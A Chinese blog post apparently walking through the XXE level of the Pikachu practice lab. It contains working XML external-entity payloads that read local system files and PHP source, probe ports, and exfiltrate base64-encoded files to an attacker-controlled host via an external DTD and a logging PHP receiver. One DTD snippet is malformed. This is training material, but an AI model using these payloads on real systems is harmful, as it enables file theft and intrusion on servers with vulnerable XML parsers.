当前位置: 首页 > news >正文

Pikachu-xxe (xml外部实体注入漏洞)过关笔记

Pikachu-xxe过关笔记

    • 有回显
      • 探测是否有回显
      • file:///协议查看本地系统文件
      • php://协议查看php源代码(无法查看当前网页代码,只能看别的)
      • http://协议爆破开放端口(两者的加载时间不同)
    • 无回显
      • 第一步
      • 第二步
      • 第三步
    • 运行结果

这一关包含了xxe漏洞,可以练习使用不同注入方法过关
在这里插入图片描述

有回显

环境配置: win10物理机搭建phpstudy

探测是否有回显

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "chuan" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述

file:///协议查看本地系统文件

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

php://协议查看php源代码(无法查看当前网页代码,只能看别的)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]> 
<foo>&xxe;</foo>

http://协议爆破开放端口(两者的加载时间不同)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo><?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

无回显

环境配置: 攻击机为虚拟机kali,ip为192.168.181.129; 靶机为win10物理机,ip为192.168.181.1
物理机上搭建phpstudy,使用kali通过网页访问物理机搭建的网站(如下图),最终目标是获取物理机网站下的文件。

讲讲思路先吧。
虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
思路有了,那么该如何实现呢?
第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
第二步在payload里写入获取目标信息,以及发送信息的代码
第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
思路讲完了,接下来是代码时间~

在这里插入图片描述

第一步

在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.181.129/test.dtd">
%dtd;
%print;
%send;
]>
<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php"><!ENTITY % dtd SYSTEM "http://192.168.181.129/test1.dtd">%dtd;%payload;%send;
]>

第二步

将写有payload的dtd文件写入kali网站目录,能访问到就行
以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
都是将查找到的php源码信息进行base64编码后作为参数传入data中

以下是我找的相关资料

在 HTML中,某些字符是预留的,例如小于号「<」、大于号「>」等,浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符,我们就要用到字符实体(character
entities)。我们比较熟悉的字符实体有空格「 」,小于号「<」,大于号「>」等。这样的格式比较语义化,容易记忆,但其实字符实体有其他的格式:
/ ~ ~ ~

numeric character reference,数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
/ ~ ~ ~
&#37 &#x25 都为 %

test.dtd


<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">

test1.dtd


<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.181.129/recive.php?data=%file;'>

第三步

下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。

<?php
// 检查请求方法是否为POST
if ($_SERVER["REQUEST_METHOD"] == "GET") {// 获取POST请求的数据$postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改// 如果数据非空,将其保存到文件if (!empty($postData)) {$fileName = "get_data.txt"; // 文件名,可以根据需要修改$file = fopen($fileName, "a"); // 打开文件,以追加模式写入if ($file) {fwrite($file, $postData . "\n"); // 写入数据fclose($file); // 关闭文件echo "数据保存成功!";} else {echo "无法打开文件进行写入。";}} else {echo "未收到有效数据。";}
} else {echo "只接受GET请求。";
}

运行结果

代码到这就结束了,下面是运行截图

就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了

在这里插入图片描述

kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
在这里插入图片描述

以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
在这里插入图片描述

第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
在这里插入图片描述
第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
在这里插入图片描述

第三次请求,kali向物理机传入payload
在这里插入图片描述

第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
在这里插入图片描述
很清晰的过程
o了 : )

相关文章:

Pikachu-xxe (xml外部实体注入漏洞)过关笔记

Pikachu-xxe过关笔记 有回显探测是否有回显file:///协议查看本地系统文件php://协议查看php源代码&#xff08;无法查看当前网页代码&#xff0c;只能看别的&#xff09;http://协议爆破开放端口&#xff08;两者的加载时间不同&#xff09; 无回显第一步第二步第三步 运行结果…...

Unity实现设计模式——责任链模式

Unity实现设计模式——责任链模式 责任链模式定义&#xff1a;将请求的发送和接收解耦&#xff0c;让多个接收对象都有机会处理这个请求。将这些接收对象串成一条链&#xff0c;并沿着这条链传递这个请求&#xff0c;直到链上的某个接收对象能够处理它为止。 在职责链模式中&…...

Java中String转换为double类型

这次的java作业是写一个数字转换的小项目&#xff0c;其中从输入框中获取的是String类型&#xff0c;但是要进行数字操作&#xff0c;此时要用到很多操作String类型数据的方法了。 从javafx输入框中获取到String类型后&#xff0c;首先是要判断是否能转换为数字或者小数形式&a…...

不同埋深地下管线的地质雷达响应特征分析

不同埋深地下管线的地质雷达响应特征分析 前言 以混凝土管线为例&#xff0c;建立了不同埋深&#xff08;70cm、100cm、130cm&#xff09;地下管线的二维模型&#xff0c;进行二维地质雷达正演模拟&#xff0c;分析不同材质管线的地质雷达响应特征。 文章目录 不同埋深地下管…...

重新认识mysql

title: “重新认识mysql” createTime: 2022-03-06T15:52:4108:00 updateTime: 2022-03-06T15:52:4108:00 draft: false author: “ggball” tags: [“mysql”] categories: [“db”] description: “” 文章目录 title: "重新认识mysql" createTime: 2022-03-06T15:…...

系统集成|第十九章(笔记)

目录 第十九章 风险管理19.1 风险管理的概述及相关概念19.2 主要过程19.2.1 规划风险管理19.2.2 识别风险19.2.3 实施定性风险分析19.2.4 实施定量风险分析19.2.5 规划风险应对19.2.6 控制风险 上篇&#xff1a;第十八章、安全管理 下篇&#xff1a;第二十章、收尾管理 第十九…...

【Linux】Linux远程访问Windows下的MySQL数据库

1.建立Windows防火墙规则 首先需要开放windows防火墙&#xff0c;针对3306端口单独创建一条规则&#xff0c;允许访问。 打开windows安全中心防火墙与保护&#xff0c;点击高级设置 进入之后&#xff0c;点击入站规则&#xff0c;新建一条规则 新建端口入站规则 端口填写330…...

android安卓core tombstone .pb

Tombstone原理分析_内核工匠的博客-CSDN博客 android tombstone分析_tombstone 分析_良知犹存的博客-CSDN博客 Tombstone简介 当一个native程序开始执行时&#xff0c;系统会注册一些连接到debuggerd的signal handlers。针对进程出现的不同的异常状态&#xff0c;Linux kernel…...

C++简单实现红黑树

目录 一、概念 二、红黑树的性质 三、红黑树的定义 四、红黑树的插入操作 情况一&#xff08;叔叔节点存在且为红色&#xff09;——变色向上调整&#xff1a; 情况二&#xff08;叔叔节点不存在或为黑色&#xff09;——旋转变色&#xff1a; 2.1叔叔节点不存在 2.2叔叔…...

国庆加速度!新增功能点锁定功能,敏捷开发新增估算功能,助力项目快速突破!

大家好&#xff0c;CoCode开发云旗下Co-Project V3.6智能项目管理平台正式发布&#xff0c;平台新增功能点锁定功能、敏捷开发模式新增估算板块和两种估算方式。 功能点锁定功能进一步提高了项目估算的灵活性和准确性&#xff0c;有利于提高项目估算效率&#xff1b;而敏捷开发…...

uniapp 如何动态切换应用图标、名称

有时候我们需要实现类似百度网盘、淘宝APP这种可以动态切换 但是呢这种需求平常非常少见 很多人不知道如何操作 今天就教大家如何实现 这里我们需要用到一款插件Ba-ChangeIcon Ba-ChangeIcon 是一款uniapp动态切换应用图标、名称的插件。可实现过年、过节动态切换应用图标的效…...

CUDA学习笔记0929

一、GPU缓存和变量作用域 1. 缓存类型 &#xff08;1&#xff09;GPU缓存是非可编程存储区域 &#xff08;2&#xff09;GPU包含4类缓存&#xff1a; L1缓存&#xff0c;每个流处理器一个 L2缓存&#xff0c;全部流处理器共享一个 L1和L2都可用于存储本地和全局内存中的数…...

XML-Based Configuration Beans for Ioc Container

XML-Based Configuration XML-based configuration is the traditional way of configuring beans in Spring. <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"h…...

俞敏洪:董宇辉在北京有房子了!

据媒体报道&#xff0c;9月26日&#xff0c;俞敏洪在直播中透露&#xff0c;董宇辉已经在北京拥有了自己的房子&#xff0c;并且强调这是大家共同努力的结果。 这一消息引起了广泛关注和热议。在此之前&#xff0c;董宇辉曾在公开场合表示&#xff0c;俞敏洪老师为了给他凑钱买…...

蓝桥等考Python组别七级006

第一部分:选择题 1、Python L7 (15分) 下面for循环语句中,变量i的取值范围是( )。 for i in range(9): print(i) 1~90~91~80~8正确答案:D 2、Python L7 (15分) 下面哪一年是闰年?( &#...

港联证券:股市3000点什么意思?

近年来&#xff0c;股市风起云涌&#xff0c;上涨也好&#xff0c;下跌也罢&#xff0c;无一不让人心潮澎湃。但是&#xff0c;如果你听到股市3000点这个数字&#xff0c;你是否知道它意味着什么呢&#xff1f;接下来&#xff0c;我们将从商场体现、微观经济、投资者心态等方面…...

windows 下 vs code 格式化代码(clang-format)

vscode 的格式化代码能力来源于插件&#xff08;有不止一种插件提供格式化功能&#xff09;&#xff0c;而非 vscode 本身 1、安装插件 2、windows 下载 LLVM-17.0.1-win64.exe &#xff08;exe 结尾的安装包&#xff09; Releases llvm/llvm-project GitHub 可以直接把这…...

USB TypeC接口说明

USB TypeC 拥有诸多优点:双面可插不担心正反、可做USB/雷电高速传输载体,支持 PD快充、音频设备、HDMI传输、调试模式等诸多功能。 市面上的其他USB接口和充电接口在逐步被TypeC替代,可以预见的是,TypeC作为一种多兼容性接口,其未来会具有非常长的生命周期。 本文主要介…...

深眸科技入局AI视觉行业,以深度学习赋能视觉应用推进智造升级

随着科技的飞速发展&#xff0c;人工智能技术已经成为改变我们生活的重要力量&#xff0c;而深度学习作为人工智能的一个重要分支&#xff0c;近年来随着卷积神经网络的突破和推广&#xff0c;取得了显著进展&#xff0c;并呈现爆发式增长势头。 目前AI技术已经被迅速引入到机…...

基于微信小程序的校园失物招领系统设计与实现(源码+lw+部署文档+讲解等)

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…...

数据科学好帮手:OpenClaw+千问3.5-35B-A3B-FP8自动化报表分析与可视化

数据科学好帮手&#xff1a;OpenClaw千问3.5-35B-A3B-FP8自动化报表分析与可视化 1. 为什么需要自动化数据分析 作为一名经常与数据打交道的分析师&#xff0c;我每天要处理大量重复性工作&#xff1a;清洗CSV文件、检查异常值、生成趋势图表、编写分析报告。这些工作占用了7…...

如何利用QOwnNotes托盘图标提升效率:快速访问与系统通知设置终极指南

如何利用QOwnNotes托盘图标提升效率&#xff1a;快速访问与系统通知设置终极指南 【免费下载链接】QOwnNotes QOwnNotes is a plain-text file notepad and todo-list manager with Markdown support and Nextcloud / ownCloud integration. 项目地址: https://gitcode.com/g…...

科哥镜像实测:CAM++说话人识别系统快速部署与核心功能体验

科哥镜像实测&#xff1a;CAM说话人识别系统快速部署与核心功能体验 1. 引言&#xff1a;当声音成为身份密码 想象一下&#xff0c;你手头有一段重要的电话录音&#xff0c;需要确认通话双方是否是同一个人。或者&#xff0c;你管理着一个庞大的音频资料库&#xff0c;需要自…...

Janus-Pro-7B文生图作品展:中国风角色、科幻机甲、自然生态高清图集

Janus-Pro-7B文生图作品展&#xff1a;中国风角色、科幻机甲、自然生态高清图集 1. 模型能力概览 Janus-Pro-7B是DeepSeek推出的统一多模态模型&#xff0c;它在一个框架内同时实现了图像理解和文本生成图像两大核心功能。这个设计思路很巧妙——传统上&#xff0c;理解图像和…...

5分钟快速上手:用LeaguePrank打造你的专属英雄联盟游戏形象

5分钟快速上手&#xff1a;用LeaguePrank打造你的专属英雄联盟游戏形象 【免费下载链接】LeaguePrank 项目地址: https://gitcode.com/gh_mirrors/le/LeaguePrank LeaguePrank是一款基于官方LCU API开发的开源工具&#xff0c;让你能够安全、合规地修改英雄联盟游戏界面…...

CPS实战:如何用树莓派+传感器搭建你的第一个信息物理系统(附代码)

CPS实战&#xff1a;如何用树莓派传感器搭建你的第一个信息物理系统&#xff08;附代码&#xff09; 信息物理系统&#xff08;CPS&#xff09;听起来像是高科技实验室里的复杂装置&#xff0c;但实际上&#xff0c;你完全可以用手边的树莓派和几十元的传感器搭建一个功能完整的…...

用OpenCV 4.8.0和C++从零搭建增量式三维重建系统:手把手教你处理多张图片生成稀疏点云

从零构建三维视觉系统&#xff1a;OpenCV与C实战指南 三维重建技术正在改变我们与数字世界的交互方式。想象一下&#xff0c;仅用手机拍摄的几张照片就能重建出物体的三维模型——这正是计算机视觉领域最激动人心的应用之一。本文将带你深入OpenCV 4.8.0的底层实现&#xff0c;…...

基于RexUniNLU的Matlab科研助手开发全攻略

基于RexUniNLU的Matlab科研助手开发全攻略 科研工作繁琐耗时&#xff1f;让AI帮你自动解析论文、理解公式、生成报告&#xff01; 1. 引言&#xff1a;科研工作的智能革命 作为一名科研工作者&#xff0c;你是否经常被这些场景困扰&#xff1a;面对堆积如山的论文不知从何读起…...

OpenClaw数据可视化:Qwen3-32B分析CSV文件并生成图表报告

OpenClaw数据可视化&#xff1a;Qwen3-32B分析CSV文件并生成图表报告 1. 为什么需要自动化数据分析 上周我接手了一个紧急任务&#xff1a;分析过去半年的销售数据并生成可视化报告。当我手动处理完第三个CSV文件时&#xff0c;突然意识到——这种重复性工作正是AI最擅长的领…...

Bloaty二进制大小分析器:10个常见问题解决技巧

Bloaty二进制大小分析器&#xff1a;10个常见问题解决技巧 【免费下载链接】bloaty Bloaty: a size profiler for binaries 项目地址: https://gitcode.com/gh_mirrors/bl/bloaty Bloaty是一款强大的二进制大小分析工具&#xff0c;能够帮助开发者深入了解二进制文件的大…...